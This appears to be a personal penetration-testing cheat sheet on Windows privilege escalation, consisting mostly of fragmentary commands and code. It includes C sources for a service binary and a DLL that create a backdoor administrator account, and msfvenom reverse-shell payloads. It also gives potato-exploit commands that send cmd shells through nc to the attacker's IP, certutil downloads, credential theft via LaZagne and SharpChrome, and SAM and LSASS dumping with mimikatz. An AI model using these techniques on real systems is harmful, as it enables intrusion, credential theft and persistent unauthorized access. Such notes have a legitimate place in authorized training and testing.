Windows Privilege and Access Control
S-R-X-Y
Collecting Environment Data
whoami
Get-LocalGroup
Get-LocalGroupMember {group name}
systeminfo
ipconfig /all
, route print
, netstat -ano or -q
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node{can_be_removed}\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
- displays all removable applications
select displayname
to return all info, like file pathGet-Process
Get-Process | Select ProcessName,Path
Get-ChildItem Env:
LaZagne
(see below section)Searching for Sensitive Information
{dir/ls} -force
Get-ChildItem -Path C:\Users -Include *.txt, *.ini, -File -Recurse -ErrorAction SilentlyContinue -force
findstr /sim {password/pass/pwd/cred/vnc} *.{txt/ini/xml/config} (*.{txt/ini/xml/config})
runas /user:{username} {program, like powershell.exe}
C:\Users\{user}\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
(along with plum.sqlite-shm
and plum.sqlite-wal
)select Text from Note
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
Find sensitive PowerShell information
(Get-PSReadlineOption).HistorySavePath
- ENTIRE PowerShell historyApplications and Services Logs > Microsoft > Windows > PowerShell > Operational
and scroll through logsdownload {filename}
upload {filename}
evil-winrm -i {IP} -u {username} -p {password}
evil-winrm -i {IP} -c certificate.pem -k priv-key.pem -S
Browser Credentials
.\SharpChrome.exe logins /unprotect
%APPDATA%\Mozilla\Firefox\Profiles\{random_value}.default-release
copy $env:APPDATA\Mozilla\Firefox\Profiles\*.default-release\cookies.sqlite .
Remote Access Tool Credentials
Winpeas
https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe
winpeas.exe --fileanalysis
to analyze filesLaZagne
\lazagne.exe all
PowerUp Powershell Script
SharpUp ghostpack executable
Seatbelt
.\Seatbelt.exe -group=all
Sherlock
Import-Module .\Sherlock.ps1
and Find-AllVulns
Hijacking Service Binaries
Get-CimInstance
to query services of WMI (Windows Management Instrumentation) class
Get-CimInstance -ClassName win32_service | Select Name,State,Pathname | Where-Object {$_.State -like 'Running'}
icacls
or Get-ACL
icacls "{executable path}"
system()
sudo apt install mingw-w64
x86_64-w64-mingw32-gcc newuser.c -o newuser.exe
python3 -m http.server
iwr -uri http://{kali_IP}:8000/newuser.exe -Outfile newuser.exe
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user kali Password123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
return 0;
}
net stop {service}
, but access will likely be deniedStartMode
is set to “Auto”, we can reboot the system (if permissions allow)
Hijacking Service DLLs
Get-ItemProperty "HKLM:\SOFTWARE\(optional)Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
to find installed software$env:path
), so we put it therecase DLL_PROCESS_ATTACH
:
int i; i = system("net user /ADD tempuser"); i = system("net localgroups administrators /ADD tempuser"); break;
--shared
flag
x86_64-w64-mingw32-gcc dll.cpp --shared -o dll.dll
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user kali kali123! /add");
i = system ("net localgroup administrators kali /add");
i = system ("net localgroup "Remote Desktop Users" kali /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
.bat files
C:\Users\Public\reverseshell.exe
Abusing Service ACLs
sc
to modify the servicesc config {vulnerable_service} binpath="cmd /c net localgroup administrators {our_user} /add"
will do the trick
Abusing Unquoted Service Paths
wmic
in cmd:
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
C:\Program Files\Enterprise Agents\Company Files\GammaServ.exe
C:\Program.exe
, then C:\Program Files\Enterprise.exe
, then C:\Program Files\Enterprise Agents\Company.exe
, and finally C:\Program Files\Enterprise Agents\Company Files\GammaServ.exe
C:\Program Files\Enterprise Agents\
directory, we can make an executable called Company.exe
, which will be used before the real oneLiving off of the Land
certutil
can download files with certutil.exe -urlcache -split -f http://{kaliIP}/{file} {output_file}
Using Scheduled Tasks
Get-ScheduledTask
or schtasks /query /fo LIST /v
{workgroup}\
, which will return things authored by people like CLIENTWK220\daveadmin
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
Registry
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl])
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
accesschk \accepteula -uvwqk "{path}"
reg query {registry_path}
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v {file_path_entry} /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
msfvenom -p windows/x64/shell_reverse_tcp LHOST={IP} LPORT={port} --platform windows -f msi > reverse.msi
msiexec /quiet /qn /i reverse.msi
Abusing Privileges to Execute Code as Privileged Users
whoami /priv
SeImpersonatePrivilege
, SeBackupPrivilege
, SeAssignPrimaryToken
, SeLoadDriver
, SeTakeOwnershipPrivilege
or SeDebugPrivilege
, we can sometimes perform operations in the security context of another user
SeBackupPrivilege
and SeRestorePrivilege
, we can read arbitrary files with robocopy: robocopy /b C:\<path to file> .\<filename>
reg save hklm\sam C:\Users\{current_user}\sam
reg save hklm\system C:\Users\{current_user}\system
dir /s {SAM/SYSTEM}
impacket-secretsdump -sam sam -system system LOCAL
SeDebugPrivilege
procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz
(run log so output is in txt) and run sekurlsa::minidump lsass.dmp
SeTakeOwnershipPrivilege
takeown /f '{path_to_object}'
icacls '{path_to_object}' /grant {our_user}:F
SeImpersonatePrivilege
to impersonate the user account and perform operations in their security context
.\SweetPotato.exe -e EfsRpc -p {path_to_nc.exe} -a "{kali_ip} {listening_port} -e cmd"
works pretty wellC:\Users\Public\JuicyPotato.exe -l 1337 -p C:\Windows\system32\cmd.exe -a "/c {nc.exe_path} {kali_IP} {kali_port} -e cmd.exe" -t *
GodPotato.exe -cmd "cmd /c reverse.exe"
GodPotato.exe -cmd "powershell -e ...."
SeImpersonatePrivilege
wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
.\PrintSpoofer64.exe -i -c powershell.exe
Bypassing UAC
Access is denied.
error while a attempting to perform a privileged action, it’s likely UACREG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
(5 being the highest level)[environment]::OSVersion.Version
Import-Module .\Bypass-UAC.ps1
and then Bypass-UAC -Method UacMethodSysprep
Bypassing GPO restrictions
\\127.0.0.1\c$\users\{user}
cmd.exe
in a network share, access the share from paint’s explorer dialog, right click cmd.exe
, and open it
Target
field is C:\Windows\System32\cmd.exe
, and thus opening the shortcut pops cmd.bat
, .ps
, and .vbs
scripts will sometimes automatically execute, which can also be used to gain a shellWireShark